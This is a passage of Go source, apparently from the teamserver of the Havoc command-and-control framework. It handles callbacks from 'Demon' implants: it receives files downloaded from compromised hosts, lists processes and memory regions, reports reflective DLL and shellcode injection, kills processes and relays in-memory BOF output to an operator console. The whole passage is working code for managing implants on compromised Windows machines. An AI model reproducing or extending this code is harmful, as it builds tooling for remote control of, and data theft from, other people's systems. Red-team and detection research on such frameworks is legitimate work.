Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var FileChunk = Parser.ParseBytes() a.DownloadWrite(FileID, FileChunk) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break case 0x2: logger.Debug(fmt.Sprintf("Download close FileID:[%v]", FileID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( FileName string Reason = Parser.ParseInt32() ) if len(a.Downloads) > 0 { var download = a.DownloadGet(FileID) if download != nil { FileName = download.FilePath } if Reason == 0x0 { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Finished download of file: %v", FileName) a.DownloadClose(FileID) } else if Reason == 0x1 { Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Download has been removed: %v", FileName) a.DownloadClose(FileID) } } else { /* TODO: handle this error. or simply ignore this ? */ } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)", AgentID, Mode)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_UPLOAD: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( FileSize = Parser.ParseInt32() FileName = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, FileSize: %v, FileName: %v", AgentID, FileSize, FileName)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Uploaded file: %v (%v)", FileName, FileSize) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, Invalid packet", AgentID)) Output["Type"] = "Error" Output["Message"] = "Failed to parse FS::Upload response" } break case DEMON_COMMAND_FS_CD: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Path = Parser.ParseUTF16String() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Path: %v", AgentID, Path)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Changed directory: %v", Path) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( IsDir = Parser.ParseInt32() Path = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, IsDir: %d, Path: %v", AgentID, IsDir, Path)) Output["Type"] = "Info" if IsDir == win32.TRUE { Output["Message"] = fmt.Sprintf("Removed directory: %v", Path) } else { Output["Message"] = fmt.Sprintf("Removed file: %v", Path) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_MKDIR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Path = Parser.ParseUTF16String() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Path: %v", AgentID, Path)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Created directory: %v", Path) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_COPY: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) { var ( Success = Parser.ParseInt32() PathFrom = Parser.ParseUTF16String() PathTo = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Success: %d, PathFrom: %v, PathTo: %v", AgentID, Success, PathFrom, PathTo)) if Success == win32.TRUE { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successful copied file %v to %v", PathFrom, PathTo) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to copied file %v to %v", PathFrom, PathTo) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_MOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) { var ( Success = Parser.ParseInt32() PathFrom = Parser.ParseUTF16String() PathTo = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Success: %d, PathFrom: %v, PathTo: %v", AgentID, Success, PathFrom, PathTo)) if Success == win32.TRUE { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successful moved file %v to %v", PathFrom, PathTo) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to moved file %v to %v", PathFrom, PathTo) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_GET_PWD: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Path = Parser.ParseUTF16String() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Path: %v", AgentID, Path)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Current directory: %v", Path) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_CAT: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadBytes}) { var ( FileName = Parser.ParseUTF16String() Success = Parser.ParseInt32() FileContent = Parser.ParseString() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, FileName: %v, Success: %d", AgentID, FileName, Success)) if Success == win32.TRUE { Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("File content of %v (%v):", FileName, len(FileContent)) Output["Output"] = FileContent } else { Output["Type"] = "Erro" Output["Message"] = fmt.Sprintf("Failed to read file: %v", FileName) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, Invalid packet", AgentID)) Output["Type"] = "Error" Output["Message"] = "Failed to parse fs::cat response" } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS, Invalid packet", AgentID)) } case COMMAND_PROC_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_LIST", AgentID)) type Process struct { Name string ImagePath string PID string PPID string Session string IsWow int Threads string User string } var ( tableData [][]string Processlist []Process processes int Output = make(map[string]string) ProcessUI = Parser.ParseInt32() ProcessTable string ProcessMaxStr int ) for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) { var ( collum []string Process Process ) Process.Name = Parser.ParseUTF16String() Process.PID = strconv.Itoa(Parser.ParseInt32()) Process.IsWow = Parser.ParseInt32() Process.PPID = strconv.Itoa(Parser.ParseInt32()) Process.Session = strconv.Itoa(Parser.ParseInt32()) Process.Threads = strconv.Itoa(Parser.ParseInt32()) Process.User = Parser.ParseUTF16String() var ProcessArch = "x64" if Process.IsWow == win32.TRUE { ProcessArch = "x86" } collum = []string{Process.Name, Process.PID, Process.PPID, Process.Session, ProcessArch, Process.Threads, Process.User} tableData = append(tableData, collum) Processlist = append(Processlist, Process) processes++ if len(Process.Name) > ProcessMaxStr { ProcessMaxStr = len(Process.Name) } } FormatTable := fmt.Sprintf(" %%-%vs %%-4s %%-4s %%-7s %%-5s %%-7s %%-4s", ProcessMaxStr) ProcessTable += fmt.Sprintf(FormatTable+"\n", "Name", "PID", "PPID", "Session", "Arch", "Threads", "User") ProcessTable += fmt.Sprintf(FormatTable+"\n", "----", "---", "----", "-------", "----", "-------", "----") for _, process := range Processlist { var ProcessArch = "x64" if process.IsWow == win32.TRUE { ProcessArch = "x86" } ProcessTable += fmt.Sprintf(FormatTable+"\n", process.Name, process.PID, process.PPID, process.Session, ProcessArch, process.Threads, process.User) } var ProcessListJson, _ = json.Marshal(Processlist) if ProcessUI == win32.FALSE { Output["Type"] = "Info" Output["Message"] = "Process List:" Output["Output"] = "\n" + ProcessTable } else { logger.Debug("Process UI") Output["MiscType"] = "ProcessUI" Output["MiscData"] = base64.StdEncoding.EncodeToString(ProcessListJson) } a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) case COMMAND_OUTPUT: var Output = make(map[string]string) var message string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { message = Parser.ParseString() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_OUTPUT, len: %d", AgentID, len(message))) Output["Type"] = "Good" Output["Output"] = message Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(message)) if len(message) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_OUTPUT, Invalid packet ", AgentID)) } case BEACON_OUTPUT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Type = Parser.ParseInt32() switch Type { case CALLBACK_OUTPUT: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT", AgentID)) found := false for _, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // store the output and later send it back to the python module BofCallback.Output += Parser.ParseString() found = true break } } if found == false { // simply print the output on the agent console var Output = make(map[string]string) Output["Type"] = "Good" Output["Output"] = Parser.ParseString() Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"])) if len(Output["Output"]) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT, Invalid packet", AgentID)) } case CALLBACK_OUTPUT_OEM: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM", AgentID)) found := false for _, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // store the output and later send it back to the python module BofCallback.Output += Parser.ParseUTF16String() found = true break } } if found == false { // simply print the output on the agent console var Output = make(map[string]string) Output["Type"] = "Good" Output["Output"] = Parser.ParseUTF16String() Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"])) if len(Output["Output"]) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM, Invalid packet", AgentID)) } case CALLBACK_ERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR", AgentID)) found := false for _, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // store the output and later send it back to the python module BofCallback.Error += Parser.ParseString() found = true break } } if found == false { // simply print the output on the agent console var Output = make(map[string]string) Output["Type"] = typeError Output["Output"] = Parser.ParseString() Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"])) if len(Output["Output"]) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR, Invalid packet", AgentID)) } case CALLBACK_FILE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Data = Parser.ParseBytes() if len(Data) > 8 { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE", AgentID)) var FileID = int(binary.BigEndian.Uint32(Data[0:4])) var FileLength = int64(binary.BigEndian.Uint32(Data[4:8])) var FileName = string(Data[8:]) var Output = make(map[string]string) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Started download of file: %v [%v]", FileName, FileLength) logger.Debug(Output["Message"]) if err := a.DownloadAdd(FileID, FileName, FileLength); err != nil { Output["Type"] = "Error" Output["Message"] = err.Error() } else { Output["MiscType"] = "download" Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + common.ByteCountSI(int64(FileLength)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet", AgentID)) } break case CALLBACK_FILE_WRITE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Data = Parser.ParseBytes() if len(Data) >= 4 { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE", AgentID)) var FileID = int(binary.BigEndian.Uint32(Data[0:4])) var FileChunk = Data[4:] var err = a.DownloadWrite(FileID, FileChunk) if err != nil { var Output = make(map[string]string) Output["Type"] = "Error" Output["Message"] = err.Error() teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet", AgentID)) } break case CALLBACK_FILE_CLOSE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Data = Parser.ParseBytes() if len(Data) >= 4 { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE", AgentID)) var FileID = int(binary.BigEndian.Uint32(Data[0:4])) var download = a.DownloadGet(FileID) if download != nil { var Output = make(map[string]string) Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Finished download of file: %v", download.FilePath) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug("download == nil") } a.DownloadClose(FileID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - UNKNOWN (%d)", AgentID, Type)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT, Invalid packet", AgentID)) } case COMMAND_INJECT_DLL: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Status = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_DLL, Status: %d", AgentID, Status)) if Status == 0 { Message["Type"] = "Good" Message["Message"] = "Successful injected reflective dll" } else { String, ok := InjectErrors[Status] if ok { String = fmt.Sprintf("Status:[%v]", String) } Message["Type"] = "Error" Message["Message"] = "Failed to inject reflective dll: " + String } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_DLL, Invalid packet", AgentID)) } break case COMMAND_SPAWNDLL: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Status = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SPAWNDLL, Status: %d", AgentID, Status)) if Status == 0 { Message["Type"] = "Good" Message["Message"] = "Successful spawned reflective dll" } else { String, ok := InjectErrors[Status] if ok { String = fmt.Sprintf("Status:[%v]", String) } Message["Type"] = "Error" Message["Message"] = "Failed to spawned reflective dll: " + String } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SPAWNDLL, Invalid packet", AgentID)) } break case COMMAND_INJECT_SHELLCODE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Status = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Status: %d", AgentID, Status)) if Status == INJECT_ERROR_SUCCESS { Message["Type"] = "Good" Message["Message"] = "Successful injected shellcode" } else if Status == INJECT_ERROR_FAILED { Message["Type"] = "Error" Message["Message"] = "Failed to inject shellcode" } else if Status == INJECT_ERROR_INVALID_PARAM { Message["Type"] = "Error" Message["Message"] = "Invalid parameter specified" } else if Status == INJECT_ERROR_PROCESS_ARCH_MISMATCH { Message["Type"] = "Error" Message["Message"] = "Process architecture mismatch" } else if Status == INJECT_ERROR_FAILED { Message["Type"] = "Error" Message["Message"] = "Failed to inject shellcode" } a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Invalid packet", AgentID)) } break case COMMAND_PROC: var ( Message = make(map[string]string) SubCommand int ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { SubCommand = Parser.ParseInt32() switch SubCommand { case DEMON_COMMAND_PROC_MODULES: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MODULES", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ModuleName string ModuleBase string ProcessID = Parser.ParseInt32() OutputBuffer bytes.Buffer tableData [][]string ) table := tablewriter.NewWriter(&OutputBuffer) table.SetHeader([]string{"Name", "Base Address"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) table.SetRowSeparator("-") table.SetColumnSeparator("│") table.SetCenterSeparator("+") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadPointer}) { var ( collum []string ) ModuleName = Parser.ParseString() ModuleBase = "0x" + strconv.FormatInt(Parser.ParsePointer(), 16) collum = []string{strings.ReplaceAll(ModuleName, " ", ""), ModuleBase} // TODO: fix this to avoid new line in the havoc console tableData = append(tableData, collum) } table.AppendBulk(tableData) table.Render() Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("List loaded modules/dll from process %v:", ProcessID) Message["Output"] = "\n" + OutputBuffer.String() } else { Message["Type"] = "Error" Message["Message"] = "Couldn't list loaded modules/dll from specified process: " } a.RequestCompleted(RequestID) break case DEMON_COMMAND_PROC_GREP: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_GREP", AgentID)) if Parser.Length() > 0 { var ( ProcName string ProcID int ParentPID int ProcUser string ProcArch int Output string ) for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32}) { ProcName = Parser.ParseUTF16String() ProcID = Parser.ParseInt32() ParentPID = Parser.ParseInt32() ProcUser = Parser.ParseUTF16String() ProcArch = Parser.ParseInt32() Output += fmt.Sprintf( "\n Process Name : %v\n Process ID : %v\n Parent PID : %v\n Process User : %v\n Process Arch : x%v\n", ProcName, ProcID, ParentPID, ProcUser, ProcArch, ) } Message["Type"] = "Info" Message["Message"] = "Found one or more processes:" Message["Output"] = Output } else { Message["Type"] = "Error" Message["Message"] = "Couldn't find specified process" } a.RequestCompleted(RequestID) break case DEMON_COMMAND_PROC_CREATE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Path = Parser.ParseUTF16String() PID = Parser.ParseInt32() Success = Parser.ParseInt32() Piped = Parser.ParseInt32() Verbose = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_PROC_CREATE, Path: %s, PID: %d, Success: %d, Verbose: %d, Piped: %d", AgentID, Path, PID, Success, Verbose, Piped)) if Verbose == 1 { if Success == 1 { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Process started: Path:[%v] ProcessID:[%v]", Path, PID) } else { Message["Type"] = "Erro" Message["Message"] = fmt.Sprintf("Process could not be started: Path:[%v]", Path) } } if Success == 0 || Piped == 0 { // if we don't expect to receive output, then close the RequestID a.RequestCompleted(RequestID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_CREATE, Invalid packet: %d", AgentID)) } // TODO: can we expect more messages from this request? //a.RequestCompleted(RequestID) break case 5: // Proc:BlockDll // TODO: is this used? if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - 5", AgentID)) var ( BlockDll = int(Parser.ParseInt32()) State = "disabled" ) if BlockDll == 1 { State = "enabled" } Message["Type"] = "Info" Message["Message"] = "Successfully " + State + " blockdll" a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - 5, Invalid packet", AgentID)) } break case DEMON_COMMAND_PROC_MEMORY: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY", AgentID)) var ( BaseAddress string RegionSize string AllocateProtec string // State string // Type string iProtect int iState int iType int _ = Parser.ParseInt32() _ = Parser.ParseInt32() OutputBuffer bytes.Buffer tableData [][]string ) table := tablewriter.NewWriter(&OutputBuffer) table.SetHeader([]string{"Base Address", "Type", "Protection", "State", "Region Size"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) table.SetColumnAlignment([]int{tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_RIGHT}) table.SetRowSeparator("-") table.SetColumnSeparator("│") table.SetCenterSeparator("+") for Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( collum []string ) BaseAddress = "0x" + strconv.FormatInt(Parser.ParsePointer(), 16) RegionSize = utils.ByteCountSI(int64(Parser.ParseInt32())) iProtect = int(Parser.ParseInt32()) iState = int(Parser.ParseInt32()) iType = int(Parser.ParseInt32()) if Protection, ok := win32.Protections[iProtect]; !ok { AllocateProtec = "UNKNOWN" } else { AllocateProtec = Protection[0] } /*switch iProtect { case win32.PAGE_NOACCESS: AllocateProtec = "PAGE_NOACCESS" case win32.PAGE_READONLY: AllocateProtec = "PAGE_READONLY" case win32.PAGE_READWRITE: AllocateProtec = "PAGE_READWRITE" case win32.PAGE_WRITECOPY: AllocateProtec = "PAGE_WRITECOPY" case win32.PAGE_EXECUTE: AllocateProtec = "PAGE_EXECUTE" case win32.PAGE_EXECUTE_READ: AllocateProtec = "PAGE_EXECUTE_READ" case win32.PAGE_EXECUTE_READWRITE: AllocateProtec = "PAGE_EXECUTE_READWRITE" case win32.PAGE_EXECUTE_WRITECOPY: AllocateProtec = "PAGE_EXECUTE_WRITECOPY" case win32.PAGE_GUARD: AllocateProtec = "PAGE_GUARD" default: AllocateProtec = strconv.Itoa(iProtect) }*/ collum = []string{BaseAddress, strconv.Itoa(iType), AllocateProtec, strconv.Itoa(iState), RegionSize} tableData = append(tableData, collum) } table.AppendBulk(tableData) table.Render() if OutputBuffer.Len() > 0 { Message["Type"] = "Info" Message["Message"] = "List memory regions:" Message["Output"] = "\n" + OutputBuffer.String() } else { Message["Type"] = "Error" Message["Message"] = "Couldn't list memory regions" } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY, Invalid packet", AgentID)) } break case DEMON_COMMAND_PROC_KILL: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Success = Parser.ParseInt32() ProcessID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Success: %d, ProcessID: %d", AgentID, Success, ProcessID)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful killed process: %v", ProcessID) } else { Message["Type"] = "Error" Message["Message"] = "Failed to kill process" } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Invalid packet", AgentID)) } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - UNKNOWN (%d)", AgentID, SubCommand)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_INLINEEXECUTE: var ( OutputMap = make(map[string]string) Type = Parser.ParseInt32() ) switch Type { case CALLBACK_OUTPUT: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT", AgentID)) OutputMap["Output"] = Parser.ParseString() teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT, Invalid packet", AgentID)) } break case CALLBACK_ERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR", AgentID)) OutputMap["Type"] = "Error" OutputMap["Output"] = Parser.ParseString() teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR, Invalid packet", AgentID)) } break case COMMAND_INLINEEXECUTE_EXCEPTION: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt64}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION", AgentID)) var ( Exception = Parser.ParseInt32() Address = Parser.ParseInt64() ) OutputMap["Type"] = "Error" OutputMap["Message"] = fmt.Sprintf("Exception %v [%x] occurred while executing BOF at address %x", win32.StatusToString(int64(Exception)), Exception, Address) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION, Invalid packet", AgentID)) } break case COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var LibAndFunc = Parser.ParseString() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, LibAndFunc: %s", AgentID, LibAndFunc)) OutputMap["Type"] = "Error" OutputMap["Message"] = "Symbol not found: " + LibAndFunc a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, Invalid packet", AgentID)) } break case COMMAND_INLINEEXECUTE_RAN_OK: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_RAN_OK", AgentID)) found := false for i, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // send the output back to the python module OutputMap["Worked"] = "true" OutputMap["Output"] = BofCallback.Output OutputMap["Error"] = BofCallback.Error OutputMap["TaskID"] = strings.ToUpper(fmt.Sprintf("%08x", RequestID)) teamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap) a.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...) found = true break } } if found == false { 